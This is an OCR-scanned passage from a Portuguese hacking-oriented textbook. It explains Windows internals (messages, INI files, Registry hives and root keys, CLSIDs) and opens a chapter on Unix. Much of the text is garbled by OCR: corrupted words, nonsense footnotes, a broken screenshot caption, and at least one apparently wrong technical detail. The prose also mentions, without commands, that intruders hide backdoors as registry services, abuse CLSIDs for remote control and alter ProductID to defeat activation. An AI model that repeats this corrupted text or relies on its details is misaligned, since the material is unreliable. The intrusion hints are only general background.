9x. Trs outros mdulos (Gerenciador de Objetos, de Processos e de Chamad.as
de Sistema) cuidam do gerenciamc::nto de instncias de processos e mtodos
para o kemel. Um novo mdulo O Gerenciador de Referencia de Segumna,
que fornece servios de aUlemica-Jo e segurana para os subsistemas externos.
Lembre-se de que a famlia NT verdadeiramente multiusu:ria e, portanto, ne-
cessita de rotinas de aUlenticao e controle de acesso. O ltimo mdulo, chama-
do de Gerenciador de FJS (I/O M,m;lger), agrega os servios de EIS do Wmdows
p;u"'a dispositivos de hardware, comunicao externa (seriaJ e redes) e princip:ll-
mente com os dispositivos de annazenamento (discos e fitas).
Os V{lriOS subsistemas que rodam em modo usurio controlam a criao de
mquinas virtuais para as aplicaes dos usurios. Observe que h um subsistema
exclusivo para segurana que apresenta os dilogos de autenticao para o usu-
rio e comunicase com o Gerenciador de Referncia de Segurana no ncleo
do sistenm para prover ou negar ;lcesso.
Queime um pouco de neurnios e teme descobrir como cada um dos mdulos
mostmdos a funciona e interage com os outros. Pesquise na Internet at en
contrar explicaes sobre cada um deles, sem deixar de procurar por nenhum.
Depois disso, largue o livro, arrume-se, saia de casa e v ver gente. Tomar um
chope talvez ...
1731
PLataforma Windows
I Universidade H4CK3R I
174 1
Entidades
o Windows um sistema operacional baseado em eventos. Por eventos, en-
tendemos qualquer atividade em algum hardware - o movimento do mouse,
por exemplo - ou os sinais proveniemes de programas - quando uma janela
fechada.
O Windows possui trs entidades principais: program;Js, j;I11C/;,S e menS<l-
gens. Os program:ls so os aplicativos que as pessoas usam: seu editor de
textos preferido, a calculadora, o jogo de Pacincia ou o emulador de termi-
naI. Cada programa possui uma ou mais jane/as. O usurio se comunica com
os programas atravs do sistema operacional , que se utiliza de mensagens
para tal. Cada programa se comunica com suas vrias janelas tambm atra-
vs de mensagens.
Os programas so compostos de um ou mais arquivos. Os tipos mais comuns
de arquivos em programas para Windows so os de extenso EXE (as partes
do cdigo especficas daquele programa), OU (bibliotecas compartilhados de
funes) e, mais recentemente, comroles ActiveX (um tipo especial de OU
comendo extenses multimdia).
As Oll.s so componentes importames nos sistemas Windows. Acrnimo par ..
Oinamic Link Ubraries, elas so bibliOlecas de funes que podem ser acessadas
por qualquer aplicativo. Alfm de reduzir O tamanho dos arquivos EXE, so as
OLL .. que pennitem que vrios programas companilhem o mesmo recurso ou
a mesma caracterstica. Por exemplo, todos os aplicativos para Windows pos-
suem a mesma aparncia devido a uma OLL em especial, a GOI.OLL, que cuida
da interface grfica com o usurio. Praticameme todo o kernd do Windows
baseado em arquivos OLU. Programadores podem, ainda, utilizar funes das
Microsoft Foundation Classes para facilitar o seu trabalho. As MFCs esto con-
tidas numa OLL chamada MFC.OU.
Os programas geram diversas janelas. Alm da apresentao visual , as janelas
so entidades que encerram em si dezenas, s vezes centenas, de campos de
infonnao que controlam cores, tamanho da janela, tamanho da borda, posi-
o dos objetos demro da janela, elC. Um deles f chamado de h:mdJe, que iden-
tifica o programa que gerou a janela. Outro campo o window handJe, que
identifica a janela com um nmero nico (difereme de zero) no sistema. Um
terceiro campo de interesse o z.order. a partir dele que o sistema define a
ordem de apresentao das janelas.
Para a comunicao entre o sistema operacional, os programas e suas janelas,
so emitidas mensagens emre eles. Uma mensagem nada mais do que uma
pequena estrutura de dados. Normalmente, ela inclui:
5 Obvi.wlCnre tiio eSWllOS cun.si<kr.mdo ~ partrs do kemel 11C1l.bdJ$ do Ms"lXJS. No Apndice 0 Kt'rllel do
M .... OOS ( que cijf;i no CD) fen:>OS 1m/a rnpi<b explicaiio de como Jimciona o kemd do M .... JXJS.
Plataforma Windows I
Universidade 1ano
limcstamp (hora em que foi emitida) da mensagem
Identificador da mensagem
Identificador da janela (window handle)
Dois ou mais campos parJ. a mensagem em si
o identificador da mensagem informa ao progmma ou janela o da
mensagem. Os nomes das mensagens so sugestivos, como por exemplo
\VM_ LBU1TONDO\VN (boto esquerdo do mouse foi pressionado) ou
\Vi\CKEYDO\VN (uma tecla foi pressionada). Entretanto, intemamente cada
um desses nomes subStitudo por uma constante numrica. Os nomes so
apenas mnemnicos!'.
As men5.1gens so geradas de forma bem simples. Vamos imaginar uma situa-
o real: o usuriO pressionou a tecla O teclado envia ao computador um
trem de dados indicando primeiro que uma tecla foi pressionada, depois qual
tecla foi essa e, cm seguida, o nmeroASCll do caractere correspondente tecla.
Quando o usurio solta a tecla, o teclado ainda envia um sinal indicando esse
evento. Cada pea de hardware em seu computador possui um sinal eJlrico
chamado interrupo associado a dI. A BIOS do computador, quando recebe
um sin,,' de interrupo, prJ. tudo o que est fJ.zendo e desvia o processamento
par.! um determinado endereo associado a essa interrupo, e entrega o con-
trole da CPU ao programa que l reside. Esse programa chamado de
m:mipu/:/dor de interrupes ou interrupl handler.
O interrupt h;mdler no um programa da BIOS e sim uma rotina do sistema
opcmcional, portanto bvio que o Windows instalou l seu prprio manipulador
para montar mensagens baseadas nas interrupes recebidas. A mensagem do
exemplo conted o identificador de mensagensWM_KEYDOWN, um nmero iden-
tificando qual tecla foi pressiomlda e o identificador da janela em que a tecla foi
pressionada. Depois disso, a mensagem ser enviada janela. O teclado gerar.
ainda ouLra mensagem identificada como W?\CCHAR, contendo o cdigo ASCII
da tecla. Quando a tecla for solta, gemda wna mensagem WM_KEYRELEASE.
As mensagens geradas vo para uma ftla chamada lppliclcion message queue.
Cada progmma possui sua ma, e o Windows direciona corretamente as mensa-
gens p<lra cada um. As aplicaes vo s<lcando cada mensagem da fiJ<I e as
rcdirccionando para as janel;ls correspondentes. As i.melas, por sua vez, possu-
em funes embutidas chamadas de window procedures, que tr.ltam os dados
recebidos na mensagem e decidem o que fazer com eles. AJgumas mensagens
no so direcionadas a nenhum:! janela. Tais mensagens caem no procedimento
default do Windows e so tratadas pelo prprio kernel.
6 NJo t Olljcli.o deMe lil'ro senir de refer.' nci:l. par.l progr.lmadore!>. (:'ntrc/:UIlQ, .\e voc qui..er
rc:l.lmClllC :.prcnder como e GlY.llo.\ de lroi:. funcionam no Winclol"s, t IIcceSliO.rJ que voct domine
um /wuco de progrJm:l(,:fio do (JI/C o IJ:l'ico de V/sl/.11 B:lsic 01/ Iklplll Bons (WnfOS de p:lrtid:. ...Jo
. d Microsoft Founwflon . ("WC). do Windows SoftW:l.n. l)cve/"pmclII Kil (WMJK)
c o SI/C ofidal d:c Microsofr (wwwmlcrosoftrom)
175 I
Plataforma Windows
I Universidade H4CK3R I
76 1
Como mesmo que eu fao aquilo?
Todo sistema operacional possui um mecanismo para manter suas configu-
raes. Com o Windows no podia ser diferente, mas, ao contrrio de vrios
outros SOs que utilizam arquivos de texto puro, a Microsoft criou uma estrutu-
ra compilada (binria) e extremamente obscura de guardar as coisas. H prs
e contras nessa abordagem.
Os arquivos INI
o veterano Wmdows 3 possta uma maneira aparememente fcil de manter as
configuraes do sistema. Por meio de arquivos de texto simples com extenso
INI , erd possvel definir todas as configuraes do Windows e das aplicaes,
carregar drivers de dispositivo e mdulos para o kerne1 do sistema operacional.
Inicialmente havia dois arquivos, WIN.lNI e SYSTEM.INl O primeiro armaze-
nava as configuraes referentes ao usurio (cores, cones, posio das jane-
las) e o segundo as partes referentes mquina, ao hardware e ao funciona-
mento interno do Windows - drivers de dispositivo, programas residentes, ca-
minhos e arquivos internos. O arquivo SYSTEM.INI guardava tambm configu-
raes dos programas e aplicativos que o usurio instalava em sua mquina.
Mas a vida era dura ames do Windows 95. Os arquivos INI podiam ter um
tamanho mximo de apenas 64 KB. Mesmo sendo um arquivo de texto puro essa
limitao permitia guardar uma quantidade de informaes muito pequena. A
soluo foi colocar, no SYSTEM.INl , apontadores para o local de outros arquivos
INl, e cada aplicao poderia ter o seu. Os programas ainda tinham penniss;io
de manter suas configuraes no SYSTEM.lNI, mas os desenvolvedores eram
encorajados a criar seus prprios INIs. Por exemplo, no SYSTEM.IN1 havia uma
indicao para o Microsoft Excel (C:/OFFlCE/EXCEL.INI), e nele o Excel guar-
daria suas configurdes. Simples, no? Nem tanto.
No incio, os usuriOS instalavam poucos programas. Gerenciar poucos INls
era tarefa fcil para o Windows e para o usurio. Mas, medida que novos pr'
gramas comearam a aparecer - alguns srios e uma imensa maioria de inutili-
dades repletas de barulhinhos -, j no era possvel desempenhar tal funo com
a galhardia de outrora. Como detenninar qual dos arquivos lN] (os de sistema e
os das aplicaes) ter precedncia, caso algum parmetro esteja conflitante?
O limite de 64 KB tambm comeou a ficar pequeno pard a quantidade de deta-
lhes que C'dd1 apliC'do tinha de armazenar, e mesmo o SYS1'EM.lNI estava repleto
de vetores apontando para os outros lNIs. Outros fatores contribuam para o au-
mento do tamanho dos lNIs: aplicativos que erdm desinstalados nonnalmente no
removiam suas linhas do SYSTEM.INI, e mesmo um simples upgrade de programa
(por exemplo, do WordPerfect 2 para o 3) , na maioria das vezes, terminava em
configuraes duplicadas no arquivo. No boot, o Wmdows crd obrigado a ler o
contedo de paquidrmicos WIN.INJ e SYSTEM.Il'\lJ, que, mesmo menores do que
64 KB, contribuam pam a queda de desempenho do sistema.
Plataforma Windows I
Universidade 10 ano
Registrar o qu?
A partir do Windows NT, e notadamente no Windows 95, a Microsoft introdu-
ziu uma nova maneira de lidar com essas infornlaes que fosse, ao mesmo
tempo, centmlizada e flexvel. Batizada de Registro do Windows (ou, em ingls,
Windows Registry), o novo sistema de armazenamento alivia o 50 de ter de
lidar com uma infinidade de arquivos INI espalhados por diversos diretrios.
Mas o que , exatamente, esse negcio de Registro? Podemos defmi-Io como
um banco de dados em que so arquivadas todas as configum&s do sistema.
Sempre que um usurio faz alguma mudana no P.linel de Controle, altem algu-
ma associao de arquivo ou instala um programa, tais mudanas so guarda-
das nele. O sistema ainda usa o Registro para rastrear os softwares instalados,
seus arquivos e como cada programa se relaciona com os outros.
Em termos puramente lgicos, o registro uma entidade l'mica, embora este-
ja fisicamente contido em um conjunto de arquivos separados por afinidade de
configurao. Cada um deles possui um tamanho limite de 40 MB - mais do que
suficiente para qualquer aplicao.
Na famlia Wm9x temos os arquivos SYSTEM.DAT, que trara das configuraL-s
de hardw.m:: e software, e USER.DAT, que trata das configuraes pessoais de cada
usurio. O Wmdows Me ainda possui um terceiro arquivo chamado ClASSES.DA1:
que :mnazena rugumas infonnacs sobre progr.unas e associaoc-s de arquivos.
Os arquivos SYSTEM.DAT e ClASSES.DAT, sendo nicos, est;IO sempre no diretrio
C:\ WINDOWS. Sempre h um USERDAT nesse mesmo diretrio, tambm. No en-
tanto, se o seu sistema estiver cOligurado para pennitir perfis, CAda usurio ter
seu prprio USER.DAT no diretrio C:\ WLNDOWS\ Profiles\<nome do usurio>\,
fic-.mdo o arquivo do diretrio do Wmdows apenas como defAult. Quando o usu-
rio faz Jogin no sistema, sua rea de traba1ho personaJizada ser Lida e carregada.
Caso a utilizao de perfis de usurio esteja desabilitada, todos os usurios com-
partilhar.l0 as mesmas preferncias gravadas em C:\ WlNOOWS\USER.DAT.
A famlia WinNT (incl uindo a o Windows 2<X>O) mantm todos os arquivos
do registro em %SystemRoot%\System32\Conflg. AO contr.lrio do Windows 9x,
seis arquivos abrigam o registro da famlia NT: DEFAUlT. DAT, SAM.DAT,
SECURJTI.DAT, SOFlWARE.DAT, SYSTEM.DAT e NTUSER.DA1: Os arquivos que
contm o registro so chamados de Hives'.
Apesar das diferenas rlSicas, logicamente os registros cL'lS dLClS f:unli:lS &1.0 muito
parecidos. Ambos residem cm arcluivos binrios, 5<10 baseados em elementos sim-
ples, compostos por uma dupla = so organizados em <-inoo ou mais
grandes secs, chamad'lS de Root Keys (ou HKEYs) e no podem ser editados
diremmcnte: necessrio usar progr.unas especiais parA taJ. Existem diversas fer-
ramentas que podem ser utilizadas para visua1izar e editar O f'(."'g.istro. A mais sim
pies o Editor de Registros (REGEDIT.EXE), includo no prprio Wmdows. Usare-
mos o RegEdil para um pouco em nosso sistema.
, lIm:J os Hives do Wi/ldows XP /1.10 po!>$uem I ex/enojo .d:JI
177 I
PLataforma Windows
I Universidade H4CK3R I
178 1
A estrutura do Registro
Para organizar melhor os dados no registro, adotou-se uma estrutura hierr-
quica_ Por isso mesmo essa estrutunt assemelha-se organizao em diretrios
e subdirelrios - ou, usando a terminologia Microsoft , e suhpaslas". O
RegEdit tim partido disso e apresenta essa estrutura de forma muito similar
que o Windows Explorer mostra o contedo de seu disco rgido.
fi. [diI", do Registro
Et 1oI...
'!l Cl HW_CtASSES.Roor
sQ HID_OJARENt.USER
$ D HW_lOCAl.._WlCHINE
to HID_USEAS
- IP",*iIol
di D .OEfAULT
8050/1 ... .,..
eCl loI ia<=ll
I!lEi _
$ Cl HID_OJRRENt_CONAG
iilD HID_OYN_DA1A
,M .....
Observe que os dados esto organizados em seis g'J.ndes grupos cujos no-
mes iniciam-se com a sigla HKEY. Cada um desses grupos chamado de seo
ou Root Key e pode conter valores chamados de chaves. Por exemplo, no Root
Key IlKEY _USERS do exemplo acima, h uma chave chamada .DEFAULT e ou-
tra chamada Software. Chaves podem possuir duplas nome/dado chamadas de
valor ou outras chaves. A chave Software possui uma subchave chamada
Microsoft, que por sua vez possui outra subchave chamada Windows, que por
sua vez possui um valor paddo. So as duplas nome/dado que realmente arma-
zenam as infonnaes no registro. H trs lipos de valores: String (um valor
e'j(P",*ioJ
.'!!'l_TCO .... top



r .. ....
',119]'
.,...
em texto puro), Binary (um valor binrio - normal-
mente dados referentes a hardware e chaves de ali-
vao criptografadas de software) e DWORD (nor-
malmente um valor booleano - 1 para ativado, O
pam desativado). A utilizao de cada um deles de-
pender do contexto.
H cinco sees em algumas verses do Windows e seis nas demais. Cada
seo tem uma especializao e contm as informaes referentes a ela.
HKEY_CLASSES_ROOT - Esta seo contm todas as associaes de
arquivo do Windows. por meio dela que o Windows suporta drag :md drop e
OLE e permite a definio de atalhos no sistema. Alguns aspectos da GUI
Plataforma Windows I
Universidade,o ano
(interface grfica com o usurio) tambm so definidos nela. Para remover
uma associao, basta excluir a chave com a extenso do arquivo. Este Root
Key falso: na verdade, uma subchave de HKEY_LOCAL_MACHINE.
HKEY_CURRENT_USER - Contm as infonnacs do usurio que est alu-
almeme usando o sistema. Tambm um Root Key falso: na verdade um atalho
para uma subchave na seo HKEY _USERS. Quando o usurio d logout, todas as
configuracs de desktop, menu Iniciar, login e senhas de HKEY_CURRENT_USER
so saJvas na chave exclusiva do usurio em llKEY _USERS.
HKEY _LOCAL_MACHINE - As informaes usveis por todos os usu-
rios indiscriminadamente esto nesta seo, incluindo hardware e seus drivers,
software instalado e sua configumo e preferncias globais em geral.
HKEY_USERS - Aqui vo as preferncias individuais de cada usurio, que
representado por uma subchave CL5ID. Quando o usurio se no sistema,
suas preferncias e configuraes so copiadas daqui para
HKEY_CURRENT_USER. Quando o usurio d - e aparece aquele dilo-
go dizendo "Salvando suas ou "Saving yom settings" -, o sistema
est na realidade copiando o contedo de HKEY _ CURRENT _ USER de volta na
chave privada do usurio em HKEY _USERS. Uma maneira fcil de voltar as con-
figumcs do usurio ao padro do sistema apagar sua chave neste Root Key.
HKEY_CURRENT_CONFIG - Semelhante a HKEY_CURRENT_USER.An-
tes de serem salvas, as altemes no registro referentes instalao de hardware
e software esto guardadas neste Root Key, que na verdade apenas um atalho
pam uma subchave em HKEY _LOCAL_MACHINE.
HKEY_DYN_DATA - Mais um Root Key falso: aponta pard outr .. subchave
de HKEY _LOCAL_MACHINE. Dispositivos Plug and Play usam esta seo pard
armazenar suas configur.lcs durante a instalao. Como o prprio nome diz,
esse Root Key dinmico e ser altemdo sempre que dispositivos de hardware
forem instalados ou removidos do sistema. Sistemas da familia WinNT (incluin-
do Windows 2000 e Windows XP) no possuem este Root Key, embom a chave
dentro de HKEY _LOCAL_MACHINE ainda exista.
Todas as chaves e subchaves possuem um valor padro e podem possuir um
ou mais valores modificveis. O que chamamos de valor na realidade uma
dupla formada por um nome que o identifica e um dado a ele associado.
Um duplo clique em qualquer um dos valores pemlite edit-los, MIO necessrio
as alterdcs: o prprio RegEdir se encarrega de faz-lo automaticamente
ao ser fechado.
CLSID?
Algumas chaves e valores possuem um cdigo completamente ilegvel chama-
do CL5lD.Acrnimo para Class Identifier, os CL5IDs so uma seqncia de letras
8 CI.1SS<'S so entidiules "c1onireis - que enCCfr.lm dentro de M .'alor..'.f e comr.mles e roliwls
ehilmil<t1S de mtooos. P'J.,J. mais consulle os api'ndices sobre progr.Jm;u;iio clisponireis no CD.
1791
PLataforma Windows
I Universidade H4CK3R I
180 I
e nmeros, nicos no sistema, que identificam cada um dos componentes COM
existentes. Um exemplo de CLSID (172BDOF8-CEEA-ll O 1-8805-
00600806D9B6). Complicado, no?
Component Object Models ou COMs so meios de controlar o Wmdows atravs de
scripts simples. O sistema usa o modelo cliente/sentidor: h progmmas que oferecem
servios COM para que aplicac)es..liente possun usar. As aplicac)es..liente so:10 os
scripts aiados pelo usurio. Os sentidores COM disponibilizam os mtodos (rotinas
que f.tZefJ1 aigLuna coisa) e variveis por meio de classes
ll
. Cada uma das classes existen-
tes no Wmdows rXlssui tun identificador Ilko chamado aass Identifier ou CLSID.
Um servidor COM muito conhecido dos programadores o Microsoft Word.
possvel usar um objeto do Word em outras aplicaes por meio do CLSID desse
objeto. Outros servidores COM muito usados so o Internet Explorer (a base do
Windows) e o Outlook Express.
possvel controlar diversos aspectos do Windows simplesmente associando
CLSlDs a chaves no Registro. Assim como os progmmadores o fazem par .. facili-
tar sua vida, os hackers usam os CLSIDs no documemados para criar meios de
"tomar
n
sua mquina em uma invaso. Por meio dos CLSIDs possvel usar os
prprios mecanismos do \Vindows pard estabelecer uma comunicao entre o
computador invadido e o invasor, sem a necessidade de um cavalo de tria
muito elaborado.
Com esses fundamentos j possvel dissecar as emranhas desse ente miste-
rioso. Os autores acreditam que seria possvel implementar CLSIOs com no-
mes mais legveis, mas a Microsoft no s elaborou o padro dessa fonna obs-
curantista como no divulgou muitas informaes a respeito. Apesar disso, al-
gumas infonnaes sobre CLSIDs, COM e o Registro podem ser encontr.tdas
no TechNet (www.microsoft.com/technet). Foge ao escopo deste livro anali-
sar com profundidade IOdos os aspectos do Registro e seus CLSIDs, embom
seja obrigao de todo candidato a hacker ir atrs desses conceitos.
Um pouco de graxa nos cotovelos ...
De IOdo o Registro do Windows, a seo mais interessante , realmente, a
HKEY_LOCAL_MACHlNE. Usando o RegEdit, navegue at essa Root Key e obser-
ve atentamente suas chaves. As descries abaixo servem par.t a famlia WinNT -
foram retiradas de um Windows XP Professional. A FamHa Wm9x possui algu-
mas diferenas, emlx>ra seja muito semelhante na maioria dos elementos.
A chave System contm trs chaves ControlSt;t (no Win9x, apenas uma), mais
as chaves LastKnownGCX>dRecovery (que aponta para o melhor ControlSet em
caso de pane), Mounted Devices (que lista todos os dispositivos de disco e de
rede em uso), Selec( (com configuraes padro) e Setup (com infonnacs s0-
bre a instalao do Windows). As chaves ControlSetOOI e ControlSetOO2 exis-
tem apenas na famlia WmNT e so backups de configumes anteriores. Uma
delas ser utilizada se, dumnte o boot, for escolhida a opo "Revert to last known
PLataforma Windows I
Universidade 10 ano
good configuration" ou ltima configurao funcional". A chave
CurrentControlSet existe em todas as famlias Windows e a que efetivamente
abriga a configurao atual de seu computador. dividida em quatro sees:
A Control contm as configuraes do Painel de Controle. Na realidade, o
Painel de Controle meramente um front end para essa chave.
A chave Enum contm informaes a respeito de todas as interfaces de VO
do computador, como USB, IDE e PCI. Normalmente no se deve com essa
chave, mas hackers experientes podem us..1.-la para auxiliar no controle do com-
putador invadido, forar uma vulnerabilidade ou plantar alguma bomba-relgio .
A Hardware Profiles guarda as configuraes de hardware da mquina. O
Windows permile que vrias configuraes de hardware diferentes possam
ser usadas na mesma instalao, e elas so guardadas aqui. Para excluir uma
configurao de hardware, basta excluir a subchave correspondente. O perfil
de hardware sendo usado est contido em Current. Hackers mal-intencionados
podem alterar ou excluir as subchaves e deixar a mquina desconfigurada.
Por fim, a Services contm dados sobre todos os servios que esto sendo
execUlados. nessa seo que os drivers de dispositivo, as bibliotecas de vLncu-
lo dinmico (DLL) e os mdulos de virtualizao do keme1 (VxD) so carrega-
dos. VxDs so, na realidade, refen;:ncias a grupos de arquivos com extenso
SYS. Na chave Services tambm so armazenados os parmetros que devem
ser passados aos VxDs e s DUs quando so chamadas. Na prtica, todos os
servios que o Windows conhece (estejam rodando ou no) esto armazena-
dos em subchaves dentro de Services, incluindo servios de comunicao e
redes. Isso significa que apagar uma chave dessas significa esconder do Windows
a existncia de tal servio ou programa mesmo que ainda esteja fisicamente
instalado no HD! O administrador de sistemas pode simplesmente excluir daqui
uma configurdo de redes que esteja dando problemas. E o hacker, por sua vez,
pode implementar seus backdoors como servios nessa chave.
Ainda em I'IKEY_LOCAl_MACHINE, a chave HARDWARE contm atalhos para
outras partes do registro que possuam infonnaes sobre o hardware instalado.
composto pelas chaves ACPI (dados do fabricante da mquina), DESCRWTION
(dados sobre processador e memria), DEVICEMAPS (configurao de dispositi-
vos de EIS) e RESOURCEMAPS (configurao dos recursos do Windows).
De todas as chaves de HKEY _LOCAL_MACHINE, talvez a mais importante para
nosso estudo seja a seo SOFTWARE. Observe a organizao por fornecedor. A
chave de cada fornecedor - por exemplo, Adobe, StarDivision, Microsoft - encer-
ra as informaes globais pard todos os aplicativos de um mesmo fabricante,
incluindo rastreamento de verses, instnles para atualiz.1.o e
pastas de instalao, de tmbalho c de origem. Algumas variveis de sistema tam-
bm so mantidas a, como, por exemplo, a chave Classes, que contm as associ-
aes de arquivo. O Root Kcy HKEY_ClASSES_ROOT , na verdade, apenas um
atalho para HKEY _LOCAL_MACHINE\SOFTWAR.E\Classes.
181 I
Plataforma Windows
I Universidade H4CK3R I
182 1
o tesouro
Cada fabricante tem sua prpria subchave, e a Microsoft, sendo tambm uma
d('''Senvolvedor.t de software, lx>ssui LUna subchavc cm IIKEY_LOCAL_MACIITNb"\
SQF"IWARE. A difereI1l que, SL.....oo a desenvotvedora do sistema, colocou ali tudo o
que poderia ser necessrio pat:.la configurao e integr::l<;lo com oultOS pnxlutos Microsoft.
PortUlto, n:lo h aqui apenas infoml.'les sobre os progr.un.'lS Microsoft instalados, como
o Ward ou o Excel. Muitas infofl1l:1C.."S que podem ser usadas IX:Jos servios de BackOfficc,
1x.'1Tl como a maioria dos SL'1Vios Microsoft, possuem chaves aqui. Informaes sobre
DUs,contIcles e plug-insActiveX, o Microsoft lnst:ilk.T (MSI) e a kx:aIizao das mKH.1S (k:
instalao, emre outras coisas, tarnbm possuem entradas sob a chave Microsoft.
COmO exerccio antes de prosseguir, coloque o livro um pouco de lado e
pesquise bastante em todas as subchaves abaixo da chave Microsoft. Entre em
uma por uma, verifique seus nomes e subchaves, verifique o contedo (nome/
dado) dos valores. Observe que h chaves que possuem vrios valores em um
nvel, mcsmo este tendo subchaves de nvd mais baixo. No altere nada! Ape-
nas observe e deixe a chave Windows para o final. Pronto? timo!
Vamos olhar com mais ateno a chave Windows. Nela h trs chaves: Currcnt
Version, ITStorage e Shdl.A ITStorage e SheU no tm muita utilidade cm siste-
mas isolados, mas a Current Version JX>SSUi muitas in!ornlacs interessantes. Obser-
ve os valores da prpria cJl:lve. Entre eles temos O J?roduct1D (que, no Wmdows
importantssimo para a aLivao - e um dos valores alterados 1X!los cracktn para
burlfl-Ia) e os caminhos 1XU"""J. os componentes primrios do Wmdows, como o loc'al
onde estio os arquivos de progr::una5.
Alm desses valores, a ch:lVe Current Version abriga centenas de subchaves. Algu-
mas so fficeis de entender, como a chave Explorcr\lips, que conlm as do
dia". possvel altcr.I-las par.! coloc.lf outf"".lS diC"J.S ou mesmo incluir mais valores
com novas dicas. Outras subch:lves so mais hermLicas. A subchave InslalJer, por
exemplo, abriga dados relativos ao Microsoft Installer (MSI), mas faz USO dos
indecifrveis valores CSUD. Nav(. "gue um pouco por ess."lS dwlS chaves e s retome a
IciturJ. do livro quando tiver uma viso geral. do funciomunento de ambas.
Com esses fundamentos entendidos, o Registro do Windows j no deve ser mais
um mistrio to obscuro para o leitor. Como parJ. casa", sugerimos o t."Studo
(com o RcgEdit) das seguinlt. .... Ch. ..1Vt. .... :
HKEY_LOCAL_MACHINE\SOFTWARE'Microsoft\EventSystem
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current
Version\
App Paths
Plataforma Windows I
Universidade'o ano
Control PaneI
Controls Folders
Explorer
Installer
policies
Run (programas carregados em todos os boots)
RunOnce (programas carregados s uma vez)
RunOnceEx (programas carregados s uma vez e depois
excluidos)
Setup
- SharedDLLs (MUITO importante!)
- Uninstall
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControISet

HKEY_LOCAL_MACHINE\SYSTEM\Setup
Lembrando sempre de que tom,unos como pomo de partida o Registro do
Windows Se o leitor possui outra verso do Windows, ser:l interess;Ultc tambm
procurar pelas mesmas chaves nela para conhecer as diferen'S e semeUlan'dS.
Where to, buddy?9
Em um livro como este no h espilo pilra se aprofundar mais. Felizmente, a
Internet oferece alguns recursos para quem quer ou precisa conhecer mais
sobre a estrutura dos sistemas opcmcionais da Microsoft.
Um bom ponto de partida o TechNet (www,microSQft ,conVtechneO, site
da Microsoft dirigido a tcnicos e programadores. Na pgina principal, h Iinks
parti as tecnologias mais aruais da empresa, como o Windows XP e a plataforma
.NET. Entretanto, possvel usar os mecanismos de busca do prprio site par.!
encontrar qualquer informao sobre qualquer produto, Com um pouco de
pesquisa possvel conhecer, I>or exemplo, detalhes da estrutUf"d interna do
kernel do Windows 98 ou diferenas entre os registros do Windows 95 e do
Windows NT. Mesmo as especificaes de coisas muito antigas, como o MS-
DOS e o LAN Manager, podem ser encontradas. Preferimos o site americano e
no o brasileiro devido velocidade de atualizaes, embora esteja em ingls.
Outros sites em que podem haver infonnacs sobre platafomlas Microsoft
so si te principal da empresa (www.miqoSQ(LCQm) , o Winguidcs
(www,winguides.com) e o TechRcpublic (www.techrepublic.com).Nodeixe
de visit-los. H muilas informaes reunidas apenas nesses sites,
9 Quem foJ;.lv:l =de g;lmt'li no fin; 80 ca1"3mcmc n.,.:on1>ccc {rolM' Se 1Jind:l no UC,<i<.ooriu
(k ;Of{O f.":mdo, J{c/i:Ollcntc n,io p ... demos cJ.u mais 1'1,'1" U:" h:/r ILlr h"r 11:11"
1831
PLataforma Windows
Captulo
"Subi la/vez as mximas alturas, Mas, se hoje volto
assim, com a alma s escuras.
necessrio que inda eu suba ma/sr
Augusto dos Anjos. de um visio-
do livro Eu e outros poemas - 1912
I Universidade H4CK3R I
86 I
No fomos ns que dissemos, mas sim a Netcraft (www.neccrafr.com): 66%
dos servidores Web na Internet rodam algum tipo de Unix. Essa maioria esma-
gadora de sites que prestigiam o veterano sado dos laboratrios da AT&T na
dcada de 60 no o faz toa. Enquanto nas mquinas dcsktop (aquelas que
voc USa em cima de sua escrivaninha, no trdbalho ou em casa) o Microsoft
Windows considerado o padro de fato, em servidores para Internet no h
muita discusso em tomo do sistema operacional a ser usado.
O Unix um sistema com mais de 30 anos de estrdda. Robusto, leve e portvel ,
vem sendo lapidado desde seu lanamento em 1%9 e, apesar de j ser bem
antigo, est sempre afmado com as novidades tecnolgicas. Por ser o sistema
mais usado, tambm o sistema mais atacado. O fato de funcionar como o
motor de dois teros dos sites do mundo e mesmo assim ser muito menos inva-
dido do que qualquer um dos adversrios mostra a confiabilidade desses siste-
mas. A contrapartida que, por ser assim to confivel e poderoso, tamlX:m o
sistema operacional mais usado para originar ataques, qualquer que seja o alvo.
o modelo Unix de sistemas operaci onais
interessantssimo o poder da mdia. Quando se fala em A BcJ;, c :1 FCr:l ,
ningum lembra do filme de Cocteau, considerado uma das obras-primas do
cinema francs. Muito menos de Jeanne Marie Leprince de Beaumont , pes-
quisadora que no sculo 18 colelOu diversos contos medievais sobre o tema
e os reuniu, costurando a histria que conhecemos hoje. Pelo contrrio, as
pessoas s se lembram do desenho animado recentemente lanado por um
grande estdio norte-americano .. .
Em se trdtando de sistemas operacionais temos o mesmo problema. Na lem-
brana de todos, apenas os sistemas mais novos prevalecem, mesmo sendo me-
nos otimizados ou menos preparados para servios de rede e misso crtica.
Apesar disso, ao redor do globo milhes de administradores de rede se utili zam
de alguma variante Unix para resolver problemas que outras plataformas nem
sonham enfrentar.
Os sistemas Unix podem ser considerados tanto belas quanto feras. A Internet
no existiria sem os sistemas Unix - alis, a Internet foi criada para interligar
APENAS sistemas Unix ... At hoje, como os dados da Netcraft podem compro-
var, a maioria dos servidores Web do mundo emprega alguma variante de Unix,
e h esforos para que sistemas Unix ou similares sejam utilizados em estaes
de escritrio ou mesmo em dispositivos mveis, como celulares e palmtops.
H muita beleza nos sistemas Unix. Sua estrutura rgida e bem montada pare-
ce aos olhos dos seus usurios quase que como mardvilhosos poemas. O poder
de fogo que esse sistema d a quem o domina chega a ser inebriante. Por sua
origem em laboratrios de pesquisa como ambiente de desenvolvimento, o Unix
possui diversas ferramentas para administradores de sistemas e redes e para
Plataforma Unix I
Univer sidade 10 ano
programadores. Tambm por essa origem, h uma enorme e fraternal comuni-
dade de usurios que trocam experincias e se ajudam mutuamente. As gt"'.rndes
empresas que fabricam ou oferecem solues baseadas em Unix fornlaram UIll
consrcio e definiram diversos padres que garantem intcroperabilidade e
conectividade. O Unix considerado, exatamente por isso, um sistema aberto!.
Sim, o Unix: belo. Mas belo como um grande felino. Dom-lo requer treina-
mento, persistncia e um pouquinho de coragem. O conhecimento para domi-
nar nossil fera no "rocket science", entretilmo. As pessoas sentem'se ame-
